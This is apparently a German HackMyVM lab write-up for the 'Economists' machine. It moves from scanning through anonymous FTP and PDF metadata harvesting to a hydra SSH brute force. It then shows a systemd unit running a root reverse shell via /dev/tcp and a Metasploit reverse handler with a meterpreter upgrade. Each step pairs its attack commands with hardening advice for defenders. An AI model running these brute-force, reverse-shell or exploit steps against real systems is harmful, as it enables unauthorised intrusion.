Economists - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
ftp
wget
dirb
wpscan
exiftool
wfuzz
awk
tr
cewl
cat
hydra
ssh
find
msfconsole
rm
mkfifo
nc (Netcat)
bash
systemctl

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Pentest beginnt mit der Identifizierung des Ziels im lokalen Netzwerk mittels `arp-scan -l`.

Bewertung: Das Zielsystem "Economists" wird mit der IP `192.168.2.105` und der MAC `08:00:27:e0:55:e3` (Oracle VirtualBox) gefunden.

Empfehlung (Pentester): Die Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung (z.B. `arpwatch`) und Segmentierung können helfen, solche Scans zu erkennen oder ihre Reichweite zu begrenzen.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.105	08:00:27:e0:55:e3	PCS Systemtechnik GmbH
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.105` den Hostnamen `econ.hmv` zuzuweisen.

Bewertung: Erleichtert die Adressierung des Ziels in nachfolgenden Schritten.

Empfehlung (Pentester): Den Hostnamen `econ.hmv` verwenden.
Empfehlung (Admin): Lokale Angreiferkonfiguration.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Inhalt nach Bearbeitung:
127.0.0.1	localhost
192.168.2.105   econ.hmv
                    

Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 zu scannen.

Bewertung: Nikto identifiziert Apache/2.4.41 (Ubuntu). Es meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein mögliches Informationsleck durch interne IP (`127.0.1.1`) im Location-Header bei Anfragen an `/images`, ein ETag-Inode-Leak, eine veraltete Apache-Version und die erlaubte Methode `PTINS`. Wichtig sind auch die gefundenen Verzeichnisse `/css/` und `/images/` mit aktiviertem Directory Indexing sowie eine `readme.txt`.

Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse mit Directory Indexing und die `readme.txt`. Notieren Sie die veraltete Apache-Version und die interne IP. Die `PTINS`-Methode ist ungewöhnlich und sollte untersucht werden.
Empfehlung (Admin): Header hinzufügen, Apache aktualisieren, Directory Indexing deaktivieren, Informationslecks (interne IP) beheben, ungewöhnliche HTTP-Methoden deaktivieren.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.105
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.105
+ Target Hostname:    192.168.2.105
+ Target Port:        80
+ Start Time:         2023-10-26 14:31:37 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to / with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 88d3, size: 6054308920940, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /readme.txt: This might be interesting.
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-10-26 14:31:52 (GMT2) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird auf das Ziel ausgeführt, gefolgt von einer gefilterten Ausgabe.

Bewertung: Nmap identifiziert drei offene Ports: * **21/tcp (FTP):** vsftpd 3.0.3, **anonymer Login erlaubt!** Mehrere PDF-Dateien sind sichtbar. * **22/tcp (SSH):** OpenSSH 8.2p1 (Ubuntu). * **80/tcp (HTTP):** Apache httpd 2.4.41 (Ubuntu), Titel "Home - Elite Economists". Die OS-Erkennung deutet auf Linux hin.

Empfehlung (Pentester): Der anonyme FTP-Zugriff ist ein kritischer Fund. Loggen Sie sich sofort ein, laden Sie alle Dateien herunter und analysieren Sie sie (insbesondere auf Metadaten). Untersuchen Sie auch SSH und HTTP weiter.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn er nicht zwingend erforderlich ist. Wenn er benötigt wird, beschränken Sie die Berechtigungen und stellen Sie sicher, dass keine sensiblen Dateien zugänglich sind. Patchen Sie vsftpd, OpenSSH und Apache.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.105 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
                    
┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.105 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 14:31 CEST
Nmap scan report for elite-economists (192.168.2.105)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1000     1000       173864 Sep 13 11:40 Brochure-1.pdf
| -rw-rw-r--    1 1000     1000       183931 Sep 13 11:37 Brochure-2.pdf
| -rw-rw-r--    1 1000     1000       465409 Sep 13 14:18 Financial-infographics-poster.pdf
| -rw-rw-r--    1 1000     1000       269546 Sep 13 14:19 Gameboard-poster.pdf
| -rw-rw-r--    1 1000     1000       126644 Sep 13 14:20 Growth-timeline.pdf
|_-rw-rw-r--    1 1000     1000      1170323 Sep 13 10:13 Population-poster.pdf
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d9:fe:dc:77:b8:fc:e6:4c:cf:15:29:a7:e7:21:a2:62 (RSA)
|   256 be:66:01:fb:d5:85:68:c7:25:94:b9:00:f9:cd:41:01 (ECDSA)
|_  256 18:b4:74:4f:f2:3c:b3:13:1a:24:13:46:5c:fa:40:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home - Elite Economists
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:E0:55:E3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms elite-economists (192.168.2.105)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.42 seconds
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche eingesetzt.

Bewertung: Findet mehrere HTML-Seiten (`index.html`, `contact.html`, `about.html`, `blog.html`, `main.html`, `services.html`, `cases.html`), die Verzeichnisse `/images`, `/css`, `/js`, `/fonts` und die bereits von Nikto gefundene `readme.txt`.

Empfehlung (Pentester): Untersuchen Sie den Inhalt der `readme.txt`. Crawlen oder analysieren Sie die HTML-Seiten auf weitere Hinweise oder Funktionalitäten.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen auf den statischen Seiten oder in der `readme.txt` enthalten sind.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://econ.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://econ.hmv/index.html           (Status: 200) [Size: 35027]
http://econ.hmv/images               (Status: 301) [Size: 305] [--> http://econ.hmv/images/]
http://econ.hmv/contact.html         (Status: 200) [Size: 14317]
http://econ.hmv/about.html           (Status: 200) [Size: 23219]
http://econ.hmv/blog.html            (Status: 200) [Size: 15196]
http://econ.hmv/main.html            (Status: 200) [Size: 931]
http://econ.hmv/services.html        (Status: 200) [Size: 17709]
http://econ.hmv/css                  (Status: 301) [Size: 302] [--> http://econ.hmv/css/]
http://econ.hmv/js                   (Status: 301) [Size: 301] [--> http://econ.hmv/js/]
http://econ.hmv/cases.html           (Status: 200) [Size: 18018]
http://econ.hmv/readme.txt           (Status: 200) [Size: 410]
http://econ.hmv/fonts                (Status: 301) [Size: 304] [--> http://econ.hmv/fonts/]
                    

Analyse: Der Inhalt der Datei `http://econ.hmv/readme.txt` wird angezeigt.

Bewertung: Die Datei enthält Standard-Copyright-Informationen für ein Webseiten-Template von Colorlib. Sie liefert keine spezifischen technischen Hinweise.

Empfehlung (Pentester): Geringe Priorität, dient nur als Kontext.
Empfehlung (Admin): Entfernen Sie ggf. Standard-Readme-Dateien, wenn sie nicht benötigt werden.

# Inhalt von http://econ.hmv/readme.txt

Thank you for using our template!

For more awesome templates please visit https://colorlib.com/wp/templates/

Copyright information for the template can't be altered/removed unless you purchase a license.
More information about the license is available here: https://colorlib.com/wp/licence/

Removing copyright information without the license will result in suspension of your hosting and/or domain name(s).
                     

Analyse: Erneuter `dirb`-Scan mit spezifischen Dateiendungen.

Bewertung: Findet die bereits bekannten HTML-Seiten und die `readme.txt`. Keine neuen PHP-, SQL-, DB- oder JS-Dateien werden entdeckt.

Empfehlung (Pentester): Bestätigt das Fehlen dynamischer Skriptdateien im Hauptverzeichnis.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://econ.hmv -X ".php,.html,.txt,.js,.db,.sql,.db"
[...]
OUTPUT_FILE: results_econ.hmv.txt

---- Scanning URL: http://econ.hmv/ ----
+ http://econ.hmv/about.html (CODE:200|SIZE:23219)
+ http://econ.hmv/blog.html (CODE:200|SIZE:15196)
+ http://econ.hmv/cases.html (CODE:200|SIZE:18018)
+ http://econ.hmv/contact.html (CODE:200|SIZE:14317)
+ http://econ.hmv/index.html (CODE:200|SIZE:35027)
+ http://econ.hmv/main.html (CODE:200|SIZE:931)
+ http://econ.hmv/readme.txt (CODE:200|SIZE:410)
+ http://econ.hmv/services.html (CODE:200|SIZE:17709)

[...]
                     

Analyse: `wpscan` wird gegen `http://elite-economists.hmv` ausgeführt, um zu prüfen, ob es sich um eine WordPress-Seite handelt.

Bewertung: WPScan stellt fest, dass die Seite nicht auf WordPress läuft.

Empfehlung (Pentester): Schließt WordPress als CMS aus. Konzentrieren Sie sich auf andere Technologien oder manuelle Enumeration.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url http://elite-economists.hmv --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.8.24
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like the target is not running WordPress.

[!] Scan Aborted: The remote website is up, but does not seem to be running WordPress.
                     

Analyse: Versuch, eine vermeintliche Markdown-Datei (`/en_de_2023q1.md`) aufzurufen.

Bewertung: Führt zu einem 404 Not Found Fehler.

Empfehlung (Pentester): Die Datei existiert nicht.
Empfehlung (Admin): Keine Aktion erforderlich.

# Aufruf von http://elite-economists.hmv/en_de_2023q1.md
# Ergebnis:
Not Found

The requested URL was not found on this server.
Apache/2.4.41 (Ubuntu) Server at elite-economists.hmv Port 80
                     

Analyse: `wfuzz` wird verwendet, um Subdomains zu bruteforcen, indem der Host-Header manipuliert wird (`-H "Host: FUZZ.econ.hmv"`). Antworten mit der gleichen Größe wie die Hauptseite (`--hh 35027`) und Fehlercodes werden ignoriert.

Bewertung: Der Scan findet keine validen Subdomains (keine Ergebnisse werden angezeigt).

Empfehlung (Pentester): Subdomain-Enumeration über Host-Header-Fuzzing war nicht erfolgreich. Andere Methoden (DNS-Enumeration, OSINT) könnten versucht werden, sind hier aber wahrscheinlich nicht nötig.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass er Anfragen mit unbekannten Host-Headern korrekt behandelt (z.B. mit einem Default-VHost oder einer Fehlermeldung).

┌──(root㉿Cybermaschine)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://econ.hmv" -H "Host: FUZZ.econ.hmv" --hh 35027 --hc "400,401,403,404"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://econ.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================


Total time: [Zeit]
Processed Requests: 114441
Filtered Requests: 114441
Requests/sec.: [Rate]
                     

FTP Enumeration & File Analysis

Analyse: Anonymer Login auf dem FTP-Server (Port 21).

Bewertung: Der Login ist erfolgreich.

Empfehlung (Pentester): Inhalt auflisten und Dateien herunterladen.
Empfehlung (Admin): Anonymen FTP-Zugriff deaktivieren/einschränken.

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.105
Connected to 192.168.2.105.
220 (vsFTPd 3.0.3)
Name (192.168.2.105:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    

Analyse: Inhalt des FTP-Verzeichnisses wird aufgelistet. Es wird versucht, eine Datei hochzuladen (`put rce_shell.php`) und in Verzeichnisse zu wechseln.

Bewertung: Das Verzeichnis enthält mehrere PDF-Dateien. Der Upload und der Verzeichniswechsel schlagen fehl (Permission denied / Failed to change directory).

Empfehlung (Pentester): Laden Sie alle PDF-Dateien herunter (`wget -r` oder manuell `get`).
Empfehlung (Admin): Korrekte Berechtigungen (kein Upload, eingeschränkte Navigation).

ftp> ls -la
229 Entering Extended Passive Mode (|||47814|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        119          4096 Sep 13 14:30 .
drwxr-xr-x    2 0        119          4096 Sep 13 14:30 ..
-rw-rw-r--    1 1000     1000       173864 Sep 13 11:40 Brochure-1.pdf
-rw-rw-r--    1 1000     1000       183931 Sep 13 11:37 Brochure-2.pdf
-rw-rw-r--    1 1000     1000       465409 Sep 13 14:18 Financial-infographics-poster.pdf
-rw-rw-r--    1 1000     1000       269546 Sep 13 14:19 Gameboard-poster.pdf
-rw-rw-r--    1 1000     1000       126644 Sep 13 14:20 Growth-timeline.pdf
-rw-rw-r--    1 1000     1000      1170323 Sep 13 10:13 Population-poster.pdf
226 Directory send OK.
                     
ftp> put rce_shell.php
local: rce_shell.php remote: rce_shell.php
229 Entering Extended Passive Mode (|||30253|)
550 Permission denied.
                     
ftp> cd /home
550 Failed to change directory.
ftp> pwd
Remote directory: /
# Hinweis aus hosts-Datei/manueller Notiz:
# info@elite-economists.hmv
# 192.168.2.105   econ.hmv elite-economists.hmv
                      

Analyse: `wget -r` wird verwendet, um rekursiv alle Dateien vom anonymen FTP-Server herunterzuladen.

Bewertung: Der Download der PDF-Dateien ist erfolgreich.

Empfehlung (Pentester): Analysieren Sie die Metadaten der heruntergeladenen PDFs.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿Cybermaschine)-[~] └─# wget -r ftp://Anonymous:anonymous@192.168.2.105
--2023-10-26 14:40:43--  ftp://anonymous:******@192.168.2.105/
           => ‘192.168.2.105/.listing’
Connecting to 192.168.2.105:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                   ] 588         --.-K/s   in 0s

2023-10-26 14:40:43 (82.9 MB/s) - ‘192.168.2.105/.listing’ saved [588]
Removing 192.168.2.105/.listing.
--2023-10-26 14:40:43--  ftp://anonymous:******@192.168.2.105/Brochure-1.pdf
           => ‘192.168.2.105/Brochure-1.pdf’
==> CWD not needed.
==> PASV ... done.    ==> RETR Brochure-1.pdf ... done.
Length: 173864 (170K) (unauthoritative)

Brochure-1.pdf          100%[===================================>] 169.79K   863KB/s    in 0.2s

2023-10-26 14:40:43 (863 KB/s) - ‘192.168.2.105/Brochure-1.pdf’ saved [173864]

[...] (Downloads für andere PDFs folgen)

FINISHED --2023-10-26 14:44:08--
Total wall clock time: 3m 25s
Downloaded: 6 files, 2.2M in 0.7s (3.11 MB/s)
                     

Analyse: `exiftool` wird verwendet, um die Metadaten der heruntergeladenen PDF-Dateien zu untersuchen. Die Ausgabe wird anschließend gefiltert, um nur die "Author"-Felder anzuzeigen.

Bewertung: Die Metadatenanalyse ist erfolgreich und enthüllt mehrere potenzielle Benutzernamen in den "Author"-Feldern: `joseph`, `richard`, `crystal`, `catherine`.

Empfehlung (Pentester): Erstellen Sie eine Benutzerliste aus diesen Namen und verwenden Sie sie für Brute-Force-Angriffe gegen SSH.
Empfehlung (Admin): Bereinigen Sie Metadaten aus öffentlich zugänglichen Dokumenten, um Informationslecks zu vermeiden.

┌──(root㉿Cybermaschine)-[~] └─# exiftool /home/cyber/Downloads/192.168.2.105/*.pdf
ExifTool Version Number         : 12.67
File Name                       : Brochure-1.pdf
[...]
Author                          : joseph
[...]
File Name                       : Brochure-2.pdf
[...]
Author                          : richard
[...]
File Name                       : Financial-infographics-poster.pdf
[...]
Author                          : crystal
[...]
File Name                       : Gameboard-poster.pdf
[...]
Author                          : catherine
[...]
File Name                       : Growth-timeline.pdf
[...]
Author                          : catherine
[...]
File Name                       : Population-poster.pdf
[...]
    1 directories scanned
    6 image files read
                     
┌──(root㉿Cybermaschine)-[~] └─# exiftool /home/cyber/Downloads/192.168.2.105/*.pdf | grep Author
Author                          : joseph
Author                          : richard
Author                          : crystal
Author                          : catherine
Author                          : catherine
                     

Initial Access

Analyse: Das Tool `cewl` wird verwendet, um Wörter von der Webseite `http://econ.hmv` zu sammeln und in die Datei `wordlist.txt` zu schreiben. Die aus den PDF-Metadaten extrahierten Autorennamen werden mit `awk` in die Datei `userlist.txt` geschrieben. Die Größe der Wortliste wird überprüft.

Bewertung: Eine benutzerdefinierte Wortliste (`wordlist.txt`) mit 463 Wörtern und eine Benutzerliste (`userlist.txt`) mit 4 eindeutigen Namen wurden erstellt. Dies bereitet einen gezielten Brute-Force-Angriff vor.

Empfehlung (Pentester): Verwenden Sie die erstellten Listen mit Hydra für einen SSH-Brute-Force-Angriff.
Empfehlung (Admin): Keine direkte Aktion, aber dies zeigt, wie Informationen von der Webseite und aus Dokumenten für Angriffe genutzt werden können.

┌──(root㉿Cybermaschine)-[~] └─# cewl http://econ.hmv >> wordlist.txt
# (cewl sammelt Wörter)
┌──(root㉿Cybermaschine)-[~] └─# exiftool /home/cyber/Downloads/192.168.2.105/*.pdf | grep Author | awk '{print $3}' > userlist.txt

                     
┌──(root㉿Cybermaschine)-[~] └─# cat userlist.txt
joseph
richard
crystal
catherine
catherine
                     
┌──(root㉿Cybermaschine)-[~] └─# wc -l wordlist.txt
463 wordlist.txt

Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) durchzuführen. Es verwendet die erstellte Benutzerliste (`userlist.txt`) und die cewl-Wortliste (`wordlist.txt`).

Bewertung: Hydra ist erfolgreich! Es findet gültige Zugangsdaten: Benutzer `joseph` mit dem Passwort `wealthiest`.

Empfehlung (Pentester): Initial Access erreicht! Melden Sie sich mit `ssh joseph@192.168.2.105` und dem Passwort `wealthiest` an.
Empfehlung (Admin): Erzwingen Sie starke, komplexe Passwörter, die nicht leicht aus Webseiteninhalten abgeleitet werden können. Implementieren Sie Brute-Force-Schutzmechanismen (z.B. `fail2ban`).

┌──(root㉿Cybermaschine)-[~] └─# hydra -L userlist.txt -P wordlist.txt ssh://192.168.2.105 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-26 15:17:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 2315 login tries (l:5/p:463), ~37 tries per task
[DATA] attacking ssh://192.168.2.105:22/
[22][ssh] host: 192.168.2.105   login: joseph   password: wealthiest
1 of 1 target successfully completed, 1 valid password found
Hydra finished at [Zeit nicht gezeigt]
                     

Analyse: Mit den gefundenen Zugangsdaten (`joseph`:`wealthiest`) wird eine SSH-Verbindung zum Zielsystem aufgebaut.

Bewertung: Der SSH-Login ist erfolgreich. Wir haben eine Shell als Benutzer `joseph` auf dem Zielsystem `elite-economists`.

Empfehlung (Pentester): Beginnen Sie mit der Post-Exploitation-Enumeration als `joseph`. Suchen Sie nach der User-Flag und nach Wegen zur Privilegieneskalation.
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort. Analysieren Sie die Kompromittierungskette (anonymer FTP -> Metadaten -> Wortliste -> Brute-Force) und sichern Sie die entsprechenden Punkte ab.

┌──(root㉿Cybermaschine)-[~] └─# ssh joseph@192.168.2.105
The authenticity of host '192.168.2.105 (192.168.2.105)' can't be established.
ED25519 key fingerprint is SHA256:nKBoUMUnxyKH34KaiDU6gjV4RVrd181pL9rHCLLD0s.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.105' (ED25519) to the list of known hosts.
joseph@192.168.2.105's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Thu 26 Oct 2023 01:20:27 PM UTC

  System load:             0.2
  Usage of /:              59.8% of 11.21GB
  Memory usage:            44%
  Swap usage:              0%
  Processes:               137
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.2.105
  IPv6 address for enp0s3: 2003:d4:c723:ee95:a00:27ff:fee0:55e3

Expanded Security Maintenance for Applications is not enabled.

51 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: [Zeit nicht gezeigt]
                     
joseph@elite-economists:~$

Privilege Escalation

Analyse: Als Benutzer `joseph` wird nach SUID-Dateien gesucht.

Bewertung: Es wird eine lange Liste von Standard-SUID-Binaries gefunden. `/usr/bin/at` ist interessant, da es SGID `daemon` ist. Es gibt keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien für eine direkte Root-Eskalation.

Empfehlung (Pentester): Überprüfen Sie die Standard-Binaries auf GTFOBins. Untersuchen Sie die `/usr/bin/at`-Berechtigung genauer (obwohl `daemon` meist nicht direkt zu Root führt). Suchen Sie nach anderen Vektoren (sudo, Cronjobs, Kernel, Fehlkonfigurationen).
Empfehlung (Admin): Minimieren Sie SUID/SGID-Berechtigungen.

joseph@elite-economists:~$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
524759     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
[...]
533518    164 -rwsr-xr-x   1 root     root              166056 Apr  4  2023 /usr/bin/sudo
[...]
                     

Analyse: Eine Beispiel-Systemd-Unit-Datei wird im Text angezeigt. Sie ist dafür gedacht, eine Reverse Shell als Root zu starten.

Bewertung: Dies deutet darauf hin, dass die Privilegieneskalation wahrscheinlich über das Erstellen und Ausführen eines bösartigen Systemd-Services erfolgte. Es wird jedoch nicht gezeigt, *wie* der Benutzer `joseph` diese Unit-Datei erstellen und aktivieren konnte (fehlende `sudo`-Rechte oder Schreibrechte in Systemverzeichnissen?).

Empfehlung (Pentester): Dokumentieren Sie, wie die Service Unit platziert und aktiviert wurde. Dies ist der entscheidende Schritt der Eskalation.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer keine Systemd-Unit-Dateien in Systemverzeichnissen erstellen oder Dienste ohne Berechtigung starten/aktivieren können. Überprüfen Sie `sudo`-Regeln sorgfältig.

# Beispiel Systemd Unit Datei (wahrscheinlich für PE verwendet)
[Unit]
Description=This is an example service.

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp//4444 0>&1'

[Install]
WantedBy=multi-user.target
                     

Analyse: Der Inhalt von `/home` wird aufgelistet.

Bewertung: Zeigt die Home-Verzeichnisse der aus den PDF-Metadaten bekannten Benutzer: `catherine`, `crystal`, `joseph`, `richard`.

Empfehlung (Pentester): Bestätigt die Existenz dieser Benutzer.
Empfehlung (Admin): Keine Aktion erforderlich.

joseph@elite-economists:~$ ls ..
catherine  crystal  joseph  richard

Analyse: Der Text springt zu einer ASCII-Art und einer Flag im HMV-Format. Dies ist wahrscheinlich die User-Flag, die aber zuvor nicht mit `cat user.txt` geholt wurde.

Bewertung: Die User-Flag lautet `HMV{37q3p33CsMJgJQbrbYZMUFfTu}`. Es gibt eine Diskrepanz zur endgültigen Flag-Liste am Ende des Dokuments.

Empfehlung (Pentester): Dokumentieren Sie den Befehl zum Auslesen der Flag. Klären Sie die Diskrepanz zwischen dieser Flag und der am Ende genannten User-Flag.
Empfehlung (Admin): Sichern Sie die User-Flag.

......                .....         .......     ..         .....                ......
    ........              ...            .......              ....              .......
       ........                            .........                         ........
         ...........               ......     ...........               ...........
            ..............................       ..............................
                 .....................                ....................

Flag: HMV{37q3p33CsMJgJQbrbYZMUFfTu}
                     

Analyse: Metasploit wird verwendet, um eine Reverse Shell zu erhalten und diese zu einer Meterpreter-Sitzung upzugraden. Anschließend wird PwnKit (CVE-2021-4034) versucht und der Local Exploit Suggester ausgeführt.

Bewertung: Die Meterpreter-Sitzung wird erfolgreich etabliert. Der PwnKit-Exploit schlägt fehl ("not-vulnerable"). Der Suggester findet potenzielle Schwachstellen in `netfilter_priv_esc_ipv4`, `pkexec` (obwohl der Check nicht validieren konnte) und `su_login`.

Empfehlung (Pentester): Diese Schritte scheinen nach dem Initial Access, aber vor der (vermuteten) Systemd-PE stattzufinden. Die Suggester-Ergebnisse könnten alternative PE-Pfade bieten, wurden aber anscheinend nicht weiter verfolgt. Der Fokus lag vermutlich auf der Systemd-Methode.
Empfehlung (Admin): Halten Sie Kernel und Pakete (Netfilter, Polkit, Util-linux/su) aktuell. Überwachen Sie Metasploit-Payloads.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 4545
lport => 4545
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4545
                     
[*] Command shell session 1 opened (192.168.2.199:4545 -> 192.168.2.105:48772) at 2023-10-26 15:25:59 +0200

Shell Banner:
$

$ ^Z
Background session 1? [y/N]  y
                     
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4477
lport => 4477
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4477
[*] Sending stage (1017704 bytes) to 192.168.2.105
[*] Meterpreter session 2 opened (192.168.2.199:4477 -> 192.168.2.105:36988) at 2023-10-26 15:26:38 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                     
msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]

Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc
                     
